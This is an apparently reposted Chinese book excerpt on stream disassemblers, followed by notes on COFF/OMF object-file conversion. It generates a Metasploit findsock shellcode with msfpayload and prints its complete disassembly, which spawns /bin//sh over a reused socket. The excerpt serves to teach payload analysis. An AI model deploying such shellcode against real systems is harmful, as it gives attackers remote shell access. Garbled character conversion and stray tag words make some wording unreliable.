有不少工具均可以生成二進制目標文件的死列表形式的反彙編代碼。PE、ELF和MACH-O文件可分別使用dumpbin、objdump和otool進行反彙編。可是,它們中的任何一個都沒法處理任意格式的二進制文件。有時候,你會遇到一些並不採用經常使用文件格式的二進制文件,在這種狀況下,你就須要一些可以從用戶指定的偏移量開始反彙編過程的工具。linux
有兩個用於x86指令集的流式反彙編器(stream disassembler):ndisasm和diStorm 。ndisasm是Netwide Assembler(NASM) 中的一個工具。下面的例子說明了如何使用ndisasm反彙編一段由Metasploit框架 生成的shellcode:shell
- idabook# ./msfpayload linux_ia32_findsock CPORT=4444 R > fs
- idabook# ls -l fs
- -rw-r--r-- 1 ida ida 62 Oct 30 15:49 fs
- idabook# ndisasm -u fs
- 00000000 31D2 xor edx,edx
- 00000002 52 push edx
- 00000003 89E5 mov ebp,esp
- 00000005 6A07 push byte +0x7
- 00000007 5B pop ebx
- 00000008 6A10 push byte +0x10
- 0000000A 54 push esp
- 0000000B 55 push ebp
- 0000000C 52 push edx
- 0000000D 89E1 mov ecx,esp
- 0000000F FF01 inc dword [ecx]
- 00000011 6A66 push byte +0x66
- 00000013 58 pop eax
- 00000014 CD80 int 0x80
- 00000016 66817D02115C cmp word [ebp+0x2],0x5c11
- 0000001C 75F1 jnz 0xf
- 0000001E 5B pop ebx
- 0000001F 6A02 push byte +0x2
- 00000021 59 pop ecx
- 00000022 B03F mov al,0x3f
- 00000024 CD80 int 0x80
- 00000026 49 dec ecx
- 00000027 79F9 jns 0x22
- 00000029 52 push edx
- 0000002A 682F2F7368 push dword 0x68732f2f
- 0000002F 682F62696E push dword 0x6e69622f
- 00000034 89E3 mov ebx,esp
- 00000036 52 push edx
- 00000037 53 push ebx
- 00000038 89E1 mov ecx,esp
- 0000003A B00B mov al,0xb
- 0000003C CD80 int 0x80
因爲流式反彙編很是靈活,所以它的用途至關普遍。例如,在分析網絡數據包中可能包含shellcode的計算機網絡攻擊時,就能夠採用流式反彙編器來反彙編數據包中包含shellcode的部分,以分析惡意負載的行爲。另一種狀況是分析那些格式未知的ROM鏡像。ROM中有些部分是數據,其餘部分則爲代碼,可使用流式反彙編器來反彙編鏡像中的代碼。sass
1. VC,GCC的obj,lib格式爲COFF,可相互通用。網絡
2. VC,GCC的obj,lib可經過coff2omf轉成OMF格式,但VC在編譯時要加/Zl選項。
3. VC,GCC的typelib可經過coff2omf轉成OMF格式。
4. 因爲BCB的OMF是非標的,因此VC的linker沒法識別,但它可識別標準的OMF格式。
5. editbin可將標準的OMF轉爲COFF(只能轉obj,不能轉lib)。
6. VC,GCC,BCB的二進制查看分別爲dumpbin,objdump,tdump。tdump的-C可查看COFF格式。框架